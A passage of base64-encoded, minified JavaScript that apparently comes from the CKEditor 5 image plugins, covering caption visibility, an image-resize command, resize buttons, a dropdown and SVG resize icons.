RGaXhlcigodD0+dGhpcy5faW5zZXJ0TWlzc2luZ01vZGVsQ2FwdGlvbkVsZW1lbnQodCkpKTt0LmNvbnZlcnNpb24uZm9yKCJ1cGNhc3QiKS5lbGVtZW50VG9FbGVtZW50KHt2aWV3OmV4LG1vZGVsOiJjYXB0aW9uIn0pO2NvbnN0IHM9dD0+dC5jcmVhdGVDb250YWluZXJFbGVtZW50KCJmaWdjYXB0aW9uIik7aS5kb3duY2FzdERpc3BhdGNoZXIub24oImluc2VydDpjYXB0aW9uIixpeChzLGZhbHNlKSk7Y29uc3QgYT1aeShlLHIoIkVudGVyIGltYWdlIGNhcHRpb24iKSk7by5kb3duY2FzdERpc3BhdGNoZXIub24oImluc2VydDpjYXB0aW9uIixpeChhKSk7by5kb3duY2FzdERpc3BhdGNoZXIub24oImluc2VydCIsdGhpcy5fZml4Q2FwdGlvblZpc2liaWxpdHkoKHQ9PnQuaXRlbSkpLHtwcmlvcml0eToiaGlnaCJ9KTtvLmRvd25jYXN0RGlzcGF0Y2hlci5vbigicmVtb3ZlIix0aGlzLl9maXhDYXB0aW9uVmlzaWJpbGl0eSgodD0+dC5wb3NpdGlvbi5wYXJlbnQpKSx7cHJpb3JpdHk6ImhpZ2gifSk7ZS5kb2N1bWVudC5yZWdpc3RlclBvc3RGaXhlcigodD0+dGhpcy5fdXBkYXRlQ2FwdGlvblZpc2liaWxpdHkodCkpKX1fdXBkYXRlQ2FwdGlvblZpc2liaWxpdHkodCl7Y29uc3QgZT10aGlzLmVkaXRvci5lZGl0aW5nLm1hcHBlcjtjb25zdCBuPXRoaXMuX2xhc3RTZWxlY3RlZENhcHRpb247bGV0IGk7Y29uc3Qgbz10aGlzLmVkaXRvci5tb2RlbC5kb2N1bWVudC5zZWxlY3Rpb247Y29uc3Qgcj1vLmdldFNlbGVjdGVkRWxlbWVudCgpO2lmKHImJnIuaXMoImVsZW1lbnQiLCJpbWFnZSIpKXtjb25zdCB0PXR4KHIpO2k9ZS50b1ZpZXdFbGVtZW50KHQpfWNvbnN0IHM9by5nZXRGaXJzdFBvc2l0aW9uKCk7Y29uc3QgYT1yeChzLnBhcmVudCk7aWYoYSl7aT1lLnRvVmlld0VsZW1lbnQoYSl9aWYoaSl7aWYobil7aWYobj09PWkpe3JldHVybiBheChpLHQpfWVsc2V7c3gobix0KTt0aGlzLl9sYXN0U2VsZWN0ZWRDYXB0aW9uPWk7cmV0dXJuIGF4KGksdCl9fWVsc2V7dGhpcy5fbGFzdFNlbGVjdGVkQ2FwdGlvbj1pO3JldHVybiBheChpLHQpfX1lbHNle2lmKG4pe2NvbnN0IGU9c3gobix0KTt0aGlzLl9sYXN0U2VsZWN0ZWRDYXB0aW9uPW51bGw7cmV0dXJuIGV9ZWxzZXtyZXR1cm4gZmFsc2V9fX1fZml4Q2FwdGlvblZpc2liaWxpdHkodCl7cmV0dXJuKGUsbixpKT0+e2NvbnN0IG89dChuKTtjb25zdCByPXJ4KG8pO2NvbnN0IHM9dGhpcy5lZGl0b3IuZWRpdGluZy5tYXBwZXI7Y29uc3QgYT1pLndyaXRlcjtpZihyKXtjb25zdCB0PXMudG9WaWV3RWxlbWVudChyKTtpZih0KXtpZihyLmNoaWxkQ291bnQpe2EucmVtb3ZlQ2xhc3MoImNrLWhpZGRlbiIsdCl9ZWxzZXthLmFkZENsYXNzKCJjay1oaWRkZW4iLHQpfX19fX1faW5zZXJ0TWlzc2luZ01vZGVsQ2FwdGlvbkVsZW1lbnQodCl7Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBuPWUuZG9jdW1lbnQuZGlmZmVyLmdldENoYW5nZXMoKTtjb25zdCBpPVtdO2Zvcihjb25zdCB0IG9mIG4pe2lmKHQudHlwZT09Imluc2VydCImJnQubmFtZSE9IiR0ZXh0Iil7Y29uc3Qgbj10LnBvc2l0aW9uLm5vZGVBZnRlcjtpZihuLmlzKCJlbGVtZW50IiwiaW1hZ2UiKSYmIXR4KG4pKXtpLnB1c2gobil9aWYoIW4uaXMoImVsZW1lbnQiLCJpbWFnZSIpJiZuLmNoaWxkQ291bnQpe2Zvcihjb25zdCB0IG9mIGUuY3JlYXRlUmFuZ2VJbihuKS5nZXRJdGVtcygpKXtpZih0LmlzKCJlbGVtZW50IiwiaW1hZ2UiKSYmIXR4KHQpKXtpLnB1c2godCl9fX19fWZvcihjb25zdCBlIG9mIGkpe3QuYXBwZW5kRWxlbWVudCgiY2FwdGlvbiIsZSl9cmV0dXJuISFpLmxlbmd0aH19ZnVuY3Rpb24gaXgodCxlPXRydWUpe3JldHVybihuLGksbyk9Pntjb25zdCByPWkuaXRlbTtpZighci5jaGlsZENvdW50JiYhZSl7cmV0dXJufWlmKGZ2KHIucGFyZW50KSl7aWYoIW8uY29uc3VtYWJsZS5jb25zdW1lKGkuaXRlbSwiaW5zZXJ0Iikpe3JldHVybn1jb25zdCBlPW8ubWFwcGVyLnRvVmlld0VsZW1lbnQoaS5yYW5nZS5zdGFydC5wYXJlbnQpO2NvbnN0IG49dChvLndyaXRlcik7Y29uc3Qgcz1vLndyaXRlcjtpZighci5jaGlsZENvdW50KXtzLmFkZENsYXNzKCJjay1oaWRkZW4iLG4pfW94KG4saS5pdGVtLGUsbyl9fX1mdW5jdGlvbiBveCh0LGUsbixpKXtjb25zdCBvPWkud3JpdGVyLmNyZWF0ZVBvc2l0aW9uQXQobiwiZW5kIik7aS53cml0ZXIuaW5zZXJ0KG8sdCk7aS5tYXBwZXIuYmluZEVsZW1lbnRzKGUsdCl9ZnVuY3Rpb24gcngodCl7Y29uc3QgZT10LmdldEFuY2VzdG9ycyh7aW5jbHVkZVNlbGY6dHJ1ZX0pO2NvbnN0IG49ZS5maW5kKCh0PT50Lm5hbWU9PSJjYXB0aW9uIikpO2lmKG4mJm4ucGFyZW50JiZuLnBhcmVudC5uYW1lPT0iaW1hZ2UiKXtyZXR1cm4gbn1yZXR1cm4gbnVsbH1mdW5jdGlvbiBzeCh0LGUpe2lmKCF0LmNoaWxkQ291bnQmJiF0Lmhhc0NsYXNzKCJjay1oaWRkZW4iKSl7ZS5hZGRDbGFzcygiY2staGlkZGVuIix0KTtyZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9ZnVuY3Rpb24gYXgodCxlKXtpZih0Lmhhc0NsYXNzKCJjay1oaWRkZW4iKSl7ZS5yZW1vdmVDbGFzcygiY2staGlkZGVuIix0KTtyZXR1cm4gdHJ1ZX1yZXR1cm4gZmFsc2V9dmFyIGN4PW4oMzkpO3ZhciBseD17aW5qZWN0VHlwZToic2luZ2xldG9uU3R5bGVUYWciLGF0dHJpYnV0ZXM6eyJkYXRhLWNrZSI6dHJ1ZX19O2x4Lmluc2VydD0iaGVhZCI7bHguc2luZ2xldG9uPXRydWU7dmFyIGR4PXJrKCkoY3hbImEiXSxseCk7dmFyIHV4PWN4WyJhIl0ubG9jYWxzfHx7fTtjbGFzcyBoeCBleHRlbmRzIG5De3N0YXRpYyBnZXQgcmVxdWlyZXMoKXtyZXR1cm5bbnhdfXN0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJJbWFnZUNhcHRpb24ifX1jbGFzcyBmeCBleHRlbmRzIG9De3JlZnJlc2goKXtjb25zdCB0PXRoaXMuZWRpdG9yLm1vZGVsLmRvY3VtZW50LnNlbGVjdGlvbi5nZXRTZWxlY3RlZEVsZW1lbnQoKTt0aGlzLmlzRW5hYmxlZD1mdih0KTtpZighdHx8IXQuaGFzQXR0cmlidXRlKCJ3aWR0aCIpKXt0aGlzLnZhbHVlPW51bGx9ZWxzZXt0aGlzLnZhbHVlPXt3aWR0aDp0LmdldEF0dHJpYnV0ZSgid2lkdGgiKSxoZWlnaHQ6bnVsbH19fWV4ZWN1dGUodCl7Y29uc3QgZT10aGlzLmVkaXRvci5tb2RlbDtjb25zdCBuPWUuZG9jdW1lbnQuc2VsZWN0aW9uLmdldFNlbGVjdGVkRWxlbWVudCgpO3RoaXMudmFsdWU9e3dpZHRoOnQud2lkdGgsaGVpZ2h0Om51bGx9O2lmKG4pe2UuY2hhbmdlKChlPT57ZS5zZXRBdHRyaWJ1dGUoIndpZHRoIix0LndpZHRoLG4pfSkpfX19Y2xhc3MgbXggZXh0ZW5kcyBuQ3tzdGF0aWMgZ2V0IHBsdWdpbk5hbWUoKXtyZXR1cm4iSW1hZ2VSZXNpemVFZGl0aW5nIn1jb25zdHJ1Y3Rvcih0KXtzdXBlcih0KTt0LmNvbmZpZy5kZWZpbmUoImltYWdlIix7cmVzaXplVW5pdDoiJSIscmVzaXplT3B0aW9uczpbe25hbWU6ImltYWdlUmVzaXplOm9yaWdpbmFsIix2YWx1ZTpudWxsLGljb246Im9yaWdpbmFsIn0se25hbWU6ImltYWdlUmVzaXplOjI1Iix2YWx1ZToiMjUiLGljb246InNtYWxsIn0se25hbWU6ImltYWdlUmVzaXplOjUwIix2YWx1ZToiNTAiLGljb246Im1lZGl1bSJ9LHtuYW1lOiJpbWFnZVJlc2l6ZTo3NSIsdmFsdWU6Ijc1IixpY29uOiJsYXJnZSJ9XX0pfWluaXQoKXtjb25zdCB0PXRoaXMuZWRpdG9yO2NvbnN0IGU9bmV3IGZ4KHQpO3RoaXMuX3JlZ2lzdGVyU2NoZW1hKCk7dGhpcy5fcmVnaXN0ZXJDb252ZXJ0ZXJzKCk7dC5jb21tYW5kcy5hZGQoImltYWdlUmVzaXplIixlKX1fcmVnaXN0ZXJTY2hlbWEoKXt0aGlzLmVkaXRvci5tb2RlbC5zY2hlbWEuZXh0ZW5kKCJpbWFnZSIse2FsbG93QXR0cmlidXRlczoid2lkdGgifSk7dGhpcy5lZGl0b3IubW9kZWwuc2NoZW1hLnNldEF0dHJpYnV0ZVByb3BlcnRpZXMoIndpZHRoIix7aXNGb3JtYXR0aW5nOnRydWV9KX1fcmVnaXN0ZXJDb252ZXJ0ZXJzKCl7Y29uc3QgdD10aGlzLmVkaXRvcjt0LmNvbnZlcnNpb24uZm9yKCJkb3duY2FzdCIpLmFkZCgodD0+dC5vbigiYXR0cmlidXRlOndpZHRoOmltYWdlIiwoKHQsZSxuKT0+e2lmKCFuLmNvbnN1bWFibGUuY29uc3VtZShlLml0ZW0sdC5uYW1lKSl7cmV0dXJufWNvbnN0IGk9bi53cml0ZXI7Y29uc3Qgbz1uLm1hcHBlci50b1ZpZXdFbGVtZW50KGUuaXRlbSk7aWYoZS5hdHRyaWJ1dGVOZXdWYWx1ZSE9PW51bGwpe2kuc2V0U3R5bGUoIndpZHRoIixlLmF0dHJpYnV0ZU5ld1ZhbHVlLG8pO2kuYWRkQ2xhc3MoImltYWdlX3Jlc2l6ZWQiLG8pfWVsc2V7aS5yZW1vdmVTdHlsZSgid2lkdGgiLG8pO2kucmVtb3ZlQ2xhc3MoImltYWdlX3Jlc2l6ZWQiLG8pfX0pKSkpO3QuY29udmVyc2lvbi5mb3IoInVwY2FzdCIpLmF0dHJpYnV0ZVRvQXR0cmlidXRlKHt2aWV3OntuYW1lOiJmaWd1cmUiLHN0eWxlczp7d2lkdGg6Ly4rL319LG1vZGVsOntrZXk6IndpZHRoIix2YWx1ZTp0PT50LmdldFN0eWxlKCJ3aWR0aCIpfX0pfX12YXIgZ3g9JzxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMjAgMjAiPjxwYXRoIGQ9Ik0yLjUgMTd2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxek0xIDE1LjV2MUgwdi0xaDF6bTE5IDB2MWgtMXYtMWgxem0tMTktMnYxSDB2LTFoMXptMTkgMHYxaC0xdi0xaDF6bS0xOS0ydjFIMHYtMWgxem0xOSAwdjFoLTF2LTFoMXptLTE5LTJ2MUgwdi0xaDF6bTE5IDB2MWgtMXYtMWgxem0tMTktMnYxSDB2LTFoMXptMTkgMHYxaC0xdi0xaDF6bS0xOS0ydjFIMHYtMWgxem0xOSAwdjFoLTF2LTFoMXptMC0ydjFoLTF2LTFoMXptLTE5IDB2MUgwdi0xaDF6TTE0LjUgMnYxaC0xVjJoMXptMiAwdjFoLTFWMmgxem0yIDB2MWgtMVYyaDF6bS04IDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bTggMHYxaC0xVjJoMXptLTEwIDB2MWgtMVYyaDF6Ii8+PHBhdGggZD0iTTcgMTBIMmEyIDIgMCAwIDAtMiAydjRhMiAyIDAgMCAwIDIgMmg1YTIgMiAwIDAgMCAyLTJ2LTRhMiAyIDAgMCAwLTItMnptMCAxLjVhLjUuNSAwIDAgMSAuNS41djRhLjUuNSAwIDAgMS0uNS41SDJhLjUuNSAwIDAgMS0uNS0uNXYtNGEuNS41IDAgMCAxIC41LS41aDV6Ii8+PC9zdmc+Jzt2YXIgcHg9JzxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMjAgMjAiPjxwYXRoIGQ9Ik0yLjUgMTd2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxek0xIDE1LjV2MUgwdi0xaDF6bTE5IDB2MWgtMXYtMWgxem0tMTktMnYxSDB2LTFoMXptMTkgMHYxaC0xdi0xaDF6bS0xOS0ydjFIMHYtMWgxem0xOSAwdjFoLTF2LTFoMXptLTE5LTJ2MUgwdi0xaDF6bTE5IDB2MWgtMXYtMWgxem0tMTktMnYxSDB2LTFoMXptMTkgMHYxaC0xdi0xaDF6bS0xOS0ydjFIMHYtMWgxem0xOSAwdjFoLTF2LTFoMXptMC0ydjFoLTF2LTFoMXptLTE5IDB2MUgwdi0xaDF6TTE0LjUgMnYxaC0xVjJoMXptMiAwdjFoLTFWMmgxem0yIDB2MWgtMVYyaDF6bS04IDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bTggMHYxaC0xVjJoMXptLTEwIDB2MWgtMVYyaDF6Ii8+PHBhdGggZD0iTTEwIDhIMmEyIDIgMCAwIDAtMiAydjZhMiAyIDAgMCAwIDIgMmg4YTIgMiAwIDAgMCAyLTJ2LTZhMiAyIDAgMCAwLTItMnptMCAxLjVhLjUuNSAwIDAgMSAuNS41djZhLjUuNSAwIDAgMS0uNS41SDJhLjUuNSAwIDAgMS0uNS0uNXYtNmEuNS41IDAgMCAxIC41LS41aDh6Ii8+PC9zdmc+Jzt2YXIga3g9JzxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMjAgMjAiPjxwYXRoIGQ9Ik0yLjUgMTd2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxek0xIDE1LjV2MUgwdi0xaDF6bTE5IDB2MWgtMXYtMWgxem0tMTktMnYxSDB2LTFoMXptMTkgMHYxaC0xdi0xaDF6bS0xOS0ydjFIMHYtMWgxem0xOSAwdjFoLTF2LTFoMXptLTE5LTJ2MUgwdi0xaDF6bTE5IDB2MWgtMXYtMWgxem0tMTktMnYxSDB2LTFoMXptMTkgMHYxaC0xdi0xaDF6bS0xOS0ydjFIMHYtMWgxem0xOSAwdjFoLTF2LTFoMXptMC0ydjFoLTF2LTFoMXptLTE5IDB2MUgwdi0xaDF6TTE0LjUgMnYxaC0xVjJoMXptMiAwdjFoLTFWMmgxem0yIDB2MWgtMVYyaDF6bS04IDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bTggMHYxaC0xVjJoMXptLTEwIDB2MWgtMVYyaDF6Ii8+PHBhdGggZD0iTTEzIDZIMmEyIDIgMCAwIDAtMiAydjhhMiAyIDAgMCAwIDIgMmgxMWEyIDIgMCAwIDAgMi0yVjhhMiAyIDAgMCAwLTItMnptMCAxLjVhLjUuNSAwIDAgMSAuNS41djhhLjUuNSAwIDAgMS0uNS41SDJhLjUuNSAwIDAgMS0uNS0uNVY4YS41LjUgMCAwIDEgLjUtLjVoMTF6Ii8+PC9zdmc+Jzt2YXIgYng9JzxzdmcgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMjAgMjAiPjxwYXRoIGQ9Ik0yLjUgMTd2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxem0yIDB2MWgtMXYtMWgxek0xIDE1LjV2MUgwdi0xaDF6bTE5IDB2MWgtMXYtMWgxem0tMTktMnYxSDB2LTFoMXptMTkgMHYxaC0xdi0xaDF6bS0xOS0ydjFIMHYtMWgxem0xOSAwdjFoLTF2LTFoMXptLTE5LTJ2MUgwdi0xaDF6bTE5IDB2MWgtMXYtMWgxem0tMTktMnYxSDB2LTFoMXptMTkgMHYxaC0xdi0xaDF6bS0xOS0ydjFIMHYtMWgxem0xOSAwdjFoLTF2LTFoMXptMC0ydjFoLTF2LTFoMXptLTE5IDB2MUgwdi0xaDF6TTE0LjUgMnYxaC0xVjJoMXptMiAwdjFoLTFWMmgxem0yIDB2MWgtMVYyaDF6bS04IDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bS0yIDB2MWgtMVYyaDF6bTggMHYxaC0xVjJoMXptLTEwIDB2MWgtMVYyaDF6Ii8+PHBhdGggZD0iTTE4LjA5NSAySDEuOTA1Qy44NTMgMiAwIDIuODk1IDAgNHYxMmMwIDEuMTA1Ljg1MyAyIDEuOTA1IDJoMTYuMTlDMTkuMTQ3IDE4IDIwIDE3LjEwNSAyMCAxNlY0YzAtMS4xMDUtLjg1My0yLTEuOTA1LTJ6bTAgMS41Yy4yNjMgMCAuNDc2LjIyNC40NzYuNXYxMmMwIC4yNzYtLjIxMy41LS40NzYuNUgxLjkwNWEuNDg5LjQ4OSAwIDAgMS0uNDc2LS41VjRjMC0uMjc2LjIxMy0uNS40NzYtLjVoMTYuMTl6Ii8+PC9zdmc+Jztjb25zdCB3eD17c21hbGw6Z3gsbWVkaXVtOnB4LGxhcmdlOmt4LG9yaWdpbmFsOmJ4fTtjbGFzcyBDeCBleHRlbmRzIG5De3N0YXRpYyBnZXQgcmVxdWlyZXMoKXtyZXR1cm5bbXhdfXN0YXRpYyBnZXQgcGx1Z2luTmFtZSgpe3JldHVybiJJbWFnZVJlc2l6ZUJ1dHRvbnMifWNvbnN0cnVjdG9yKHQpe3N1cGVyKHQpO3RoaXMuX3Jlc2l6ZVVuaXQ9dC5jb25maWcuZ2V0KCJpbWFnZS5yZXNpemVVbml0Iil9aW5pdCgpe2NvbnN0IHQ9dGhpcy5lZGl0b3I7Y29uc3QgZT10LmNvbmZpZy5nZXQoImltYWdlLnJlc2l6ZU9wdGlvbnMiKTtjb25zdCBuPXQuY29tbWFuZHMuZ2V0KCJpbWFnZVJlc2l6ZSIpO3RoaXMuYmluZCgiaXNFbmFibGVkIikudG8obik7Zm9yKGNvbnN0IHQgb2YgZSl7dGhpcy5fcmVnaXN0ZXJJbWFnZVJlc2l6ZUJ1dHRvbih0KX10aGlzLl9yZWdpc3RlckltYWdlUmVzaXplRHJvcGRvd24oZSl9X3JlZ2lzdGVySW1hZ2VSZXNpemVCdXR0b24odCl7Y29uc3QgZT10aGlzLmVkaXRvcjtjb25zdHtuYW1lOm4sdmFsdWU6aSxpY29uOm99PXQ7Y29uc3Qgcj1pP2krdGhpcy5fcmVzaXplVW5pdDpudWxsO2UudWkuY29tcG9uZW50RmFjdG9yeS5hZGQobiwobj0+e2NvbnN0IGk9bmV3IGN3KG4pO2NvbnN0IHM9ZS5jb21tYW5kcy5nZXQoImltYWdlUmVzaXplIik7Y29uc3QgYT10aGlzLl9nZXRPcHRpb25MYWJlbFZhbHVlKHQsdHJ1ZSk7aWYoIXd4W29dKXt0aHJvdyBuZXcgc3NbImEiXSgiaW1hZ2VyZXNpemVidXR0b25zLW1pc3NpbmctaWNvbiIsZSx0KX1pLnNldCh7bGFiZWw6YSxpY29uOnd4W29dLHRvb2x0aXA6YSxpc1RvZ2dsZWFibGU6dHJ1ZX0pO2kuYmluZCgiaXNFbmFibGVkIikudG8odGhpcyk7aS5iaW5kKCJpc09uIikudG8ocywidmFsdWUiLEF4KHIpKTt0aGlzLmxpc3RlblRvKGksImV4ZWN1dGUiLCgoKT0+e2UuZXhlY3V0ZSgiaW1hZ2VSZXNpemUiLHt3aWR0aDpyfSl9KSk7cmV0dXJuIGl9KSl9X3JlZ2lzdGVySW1hZ2VSZXNpemVEcm9wZG93bih0KXtjb25zdCBlPXRoaXMuZWRpdG9yO2NvbnN0IG49ZS50O2NvbnN0IGk9dC5maW5kKCh0PT4hdC52YWx1ZSkpO2UudWkuY29tcG9uZW50RmFjdG9yeS5hZGQoImltYWdlUmVzaXplIiwobz0+e2NvbnN0IHI9ZS5jb21tYW5kcy5nZXQoImltYWdlUmVzaXplIik7Y29uc3Qgcz1OdyhvLGR3KTtjb25zdCBhPXMuYnV0dG9uVmlldzthLnNldCh7dG9vbHRpcDpuKCJSZXNpemUgaW1hZ2UiKSxjb21tYW5kVmFsdWU6aS52YWx1ZSxpY29uOnB4LGlzVG9nZ2xlYWJsZTp0cnVlLGxhYmVsOnRoaXMuX2dldE9wdGlvbkxhYmVsVmFsdWUoaSksd2l0aFRleHQ6dHJ1ZSxjbGFzczoiY2stcmVzaXplLWltYWdlLWJ1dHRvbiJ9KTthLmJpbmQoImxhYmVsIikudG8ociwidmFsdWUiLCh0PT57aWYodCYmdC53aWR0aCl7cmV0dXJuIHQud2lkdGh9ZWxzZXtyZXR1cm4gdGhpcy5fZ2V0T3B0aW9uTGFiZWxWYWx1ZShpKX19KSk7cy5iaW5kKCJpc09uIikudG8ocik7cy5iaW5kKCJpc0VuYWJsZWQiKS50byh0aGlzKTtQdyhzLHRoaXMuX2dldFJlc2l6ZURyb3Bkb3duTGlzdEl0ZW1EZWZpbml0aW9ucyh0LHIpKTtzLmxpc3RWaWV3LmFyaWFMYWJlbD1uKCJJbWFnZSByZXNpemUgbGlzdCIpO3RoaXMubGlzdGVuVG8ocywiZXhlY3V0ZSIsKHQ9PntlLmV4ZWN1dGUodC5zb3VyY2UuY29tbWFuZE5hbWUse3dpZHRoOnQuc291cmNlLmNvbW1hbmRWYWx1ZX0pO2UuZWRpdGluZy52aWV3LmZvY3VzKCl9KSk7cmV0dXJuIHN9KSl9X2dldE9wdGlvbkxhYmVsVmFsdWUodCxlKXtjb25zdCBuPXRoaXMuZWRpdG9yLnQ7aWYodC5sYWJlbCl7cmV0dXJuIHQubGFiZWx9ZWxzZSBpZihlKXtpZih0LnZhbHVlKXtyZXR1cm4gbigiUmVzaXplIGltYWdlIHRvICUwIix0LnZhbHVlK3RoaXMuX3Jlc2l6ZVVuaXQpfWVsc2V7cmV0dXJuIG4oIlJlc2l6ZSBpbWFnZSB0byB0aGUgb3JpZ2luYWwgc2l6ZSIpfX1lbHNle2lmKHQudmFsdWUpe3JldHVybiB0LnZhbHVlK3RoaXMuX3Jlc2l6ZVVuaXR9ZWxzZXtyZXR1cm4gbigiT3JpZ2luYWwiKX19fV9nZXRSZXNpemVEcm9wZG93bkxpc3RJdGVtRGVmaW5pdGlvbnModCxlKXtjb25zdCBuPW5ldyB2czt0Lm1hcCgodD0+e2NvbnN0IGk9dC52YWx1ZT90LnZhbHVlK3RoaXMuX3Jlc2l6ZVVuaXQ6bnVsbDtjb25zdCBvPXt0eXBlOiJidXR0b24iLG1vZGVsOm5ldyBBXyh7Y29tbWFuZE5hbWU6ImltYWdlUmVzaXplIixjb21tYW5kVmFsdWU6aSxsYWJlbDp0aGlzLl9nZXRPcHRpb25MYWJlbFZhbHVlKHQpLHdpdGhUZXh0OnRydWUsaWNvbjpudWxsfSl9O28ubW9kZWwuYmluZCgiaXNPbiIpLnRvKGUsInZhbHVlIixBeChpKSk7bi5hZGQobyl9KSk7cmV0dXJuIG59fWZ1bmN0aW9uIEF4KHQpe3JldHVybiBlPT57aWYodD09PW51bGwmJmU9PT10KXtyZXR1cm4gdHJ1ZX1yZXR1cm4gZSYmZS53aWR0aD09PXR9fWNsYXNzIF94e2NvbnN0cnVjdG9yKHQpe3RoaXMuc2V0KCJhY3RpdmVIYW5kbGVQb3NpdGlvbiIsbnVsbCk7dGhpcy5zZXQoInByb3Bvc2VkV2lkdGhQZXJjZW50cyIsbnVsbCk7dGhpcy5zZXQoInByb3Bvc2VkV2lkdGgiLG51bGwpO3RoaXMuc2V0KCJwcm9wb3NlZEhlaWdodCIsbnVsbCk7dGhpcy5zZXQoInByb3Bvc2VkSGFuZGxlSG9zdFdpZHRoIixudWxsKTt0aGlzLnNldCgicHJvcG9zZWRIYW5kbGVIb3N0SGVpZ2h0IixudWxsKTt0aGlzLl9vcHRpb25zPXQ7dGhpcy5fcmVmZXJlbmNlQ29vcmRpbmF0ZXM9bnVsbH1iZWdpbih0LGUsbil7Y29uc3QgaT1uZXcgRWgoZSk7dGhpcy5hY3RpdmVIYW5kbGVQb3NpdGlvbj1EeCh0KTt0aGlzLl9yZWZlcmVuY2VDb29yZGluYXRlcz15eChlLEV4KHRoaXMuYWN0aXZlSGFuZGxlUG9zaXRpb24pKTt0aGlzLm9yaWdpbmFsV2lkdGg9aS53aWR0aDt0aGlzLm9yaWdpbmFsSGVpZ2h0PWkuaGVpZ2h0O3RoaXMuYXNwZWN0UmF0aW89aS53aWR0aC9pLmhlaWdodDtjb25zdCBvPW4uc3R5bGUud2lkdGg7aWYobyYmby5tYXRjaCgvXlxkK1wuP1xkKiUkLykpe3RoaXMub3JpZ2luYWxXaWR0aFBlcmNlbnRzPXBhcnNlRmxvYXQobyl9ZWxzZXt0aGlzLm9yaWdpbmFsV2lkdGhQZXJjZW50cz12eChuLGkpfX11cGRhdGUodCl7dGhpcy5wcm9wb3NlZFdpZHRoPXQud2lkdGg7dGhpcy5wcm9wb3NlZEhlaWdodD10LmhlaWdodDt0aGlzLnByb3Bvc2VkV2lkdGhQZXJjZW50cz10LndpZHRoUGVyY2VudHM7dGhpcy5wcm9wb3NlZEhhbmRsZUhvc3RXaWR0aD10LmhhbmRsZUhvc3RXaWR0aDt0aGlzLnByb3Bvc2VkSGFuZGxlSG9zdEhlaWdodD10LmhhbmRsZUhvc3RIZWlnaHR9fV9zKF94LEpjKTtmdW5jdGlvbiB2eCh0LGUpe2NvbnN0IG49dC5wYXJlbnRFbGVtZW50O2NvbnN0IGk9cGFyc2VGbG9hdChuLm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcuZ2V0Q29tcHV0ZWRTdHlsZShuKS53aWR0aCk7cmV0dXJuIGUud2lkdGgvaSoxMDB9ZnVuY3Rpb24geXgodCxlKXtjb25zdCBuPW5ldyBFaCh0KTtjb25zdCBpPWUuc3BsaXQoIi0iKTtjb25zdCBvPXt4OmlbMV09PSJyaWdodCI/bi5yaWdodDpuLmxlZnQseTppWzBdPT0iYm90dG9tIj9uLmJvdHRvbTpuLnRvcH07by54Kz10Lm93bmVyRG9jdW1lbnQuZGVmYXVsdFZpZXcuc2Nyb2xsWDtvLnkrPXQub3duZXJEb2N1bWVudC5kZWZhdWx0Vmlldy5zY3JvbGxZO3JldHVybiBvfWZ1bmN0aW9uIHh4KHQpe3JldHVybmBjay13aWRnZXRfX3Jlc2l6ZXJfX2hhbmRsZS0ke3R9YH1mdW5jdGlvbiBEeCh0KXtjb25zdCBlPVsidG9wLWxlZnQiLCJ0b3AtcmlnaHQiLCJib3R0b20tcmlnaHQiLCJib3R0b20tbGVmdCJdO2Zvcihjb25zdCBuIG9mIGUpe2lmKHQuY2xhc3NMaXN0LmNvbnRhaW5zKHh4KG4pKSl7cmV0dXJuIG59fX1mdW5jdGlvbiBFeCh0KXtjb25zdCBlPXQuc3BsaXQoIi0iKTtjb25zdCBuPXt0b3A6ImJvdHRvbSIsYm90dG9tOiJ0b3AiLGxlZnQ6InJpZ2h0IixyaWdodDoibGVmdCJ9O3JldHVybmAke25bZVswXV19LSR7bltlWzFdXX1gfWNsYXNzIE14e2NvbnN0cnVjdG9yKHQpe3RoaXMuX29wdGlvbnM9dDt0aGlzLl9kb21SZXNpemVyV3JhcHBlcj1udWxsO3RoaXMuX3ZpZXdSZXNpemVyV3JhcHBlcj1udWxsO3RoaXMuc2V0KCJpc0VuYWJsZWQiLHRydWUpO3RoaXMuZGVjb3JhdGUoImJlZ2luIik7dGhpcy5kZWNvcmF0ZSgiY2FuY2VsIik7dGhpcy5kZWNvcmF0ZSgiY29tbWl0Iik7dGhpcy5kZWNvcmF0ZSg